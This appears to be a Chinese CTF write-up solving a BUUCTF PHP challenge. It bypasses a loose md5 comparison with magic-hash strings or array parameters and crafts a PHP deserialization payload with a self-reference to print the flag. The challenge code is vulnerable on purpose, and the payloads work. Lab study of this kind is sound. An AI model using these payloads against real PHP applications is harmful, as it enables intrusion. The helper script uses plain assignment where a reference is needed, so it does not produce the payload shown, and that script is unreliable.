题目描述

<?php
/**
 * Created by PhpStorm.
 * User: jinzhao
 * Date: 2019/10/6
 * Time: 8:04 PM
 */

highlight_file(__FILE__);			//高亮显示当前页面源码

class BUU {							//类:BUU
   public $correct = "";			//公有属性:$correct
   public $input = "";				//公有属性:$input
	
   public function __destruct() {	//公有析构方法__destruct(),在当前类的实例化对象销毁前,自动被调用
       try {
           $this->correct = base64_encode(uniqid());	//给correct赋值为base64_encode(uniqid())
           if($this->correct === $this->input) {		//判断两个属性是否全等
               echo file_get_contents("/flag");			//若全等,则打印根目录下的flag
           }
       } catch (Exception $e) {
       }
   }
}


if($_GET['pleaseget'] === '1') {		//判断pleaseget==='1'&&pleasepost==='2'&&md1!=md52&&md5(md51)==md5(md52)
    if($_POST['pleasepost'] === '2') {
        if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
            unserialize($_POST['obj']);
        }
    }
}

第二段代码开始时这个题目的关键
要求GET传入的参数pleaseget=1,于是GET处的参数很简单,就是

/?pleaseget=1

POST传入的参数pleasepost=2,同时要求md51和md52的值不同,但是md5值相同
于是涉及到了md5绕过的问题,md5这个地方可以用md5弱碰撞,因为是弱类型比较。以下几个的md5弱类型比较均相等

QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a

当然更简便的是直接使用空数组进行绕过,因此POST的参数第一部分为

pleasepost=2&md51[]=1&md52[]=2
或者
pleasepost=2&md51=QNKCDZO&md52=s155964671a

再往下看到unserialize就是反序列化问题,以及如何让两个类变量this->correct和this->input值相等
在这里插入图片描述使用的是php的传引用
在这里插入图片描述
于是我们构造脚本使得this->correct和this->input两个变量指向同一个内容。
因为每次都会执行$this->correct = base64_encode(uniqid());,所以我们不能将input设为具体的值,而是在序列化执行,令input=&correct

构造脚本如下

<?php
class BUU {
	public $correct="";
	public $input="";
}
$obj = new BUU();
$obj->input = $obj->correct;
echo serialize($obj);
?>

然后在http://c.runoob.com/compile/中将其进行序列化
在这里插入图片描述传入代码中反序列化后即可执行
得到了POST第二个部分的字段,最后拼接起来就是

pleasepost=2&md51[]=1&md52[]=2&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
//或者
pleasepost=2&md51=QNKCDZO&md52=s155964671a&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

右键“检查”,使用Hackbar工具,输入对应的GET和POST参数然后Execute,得到flag

在这里插入图片描述

更多推荐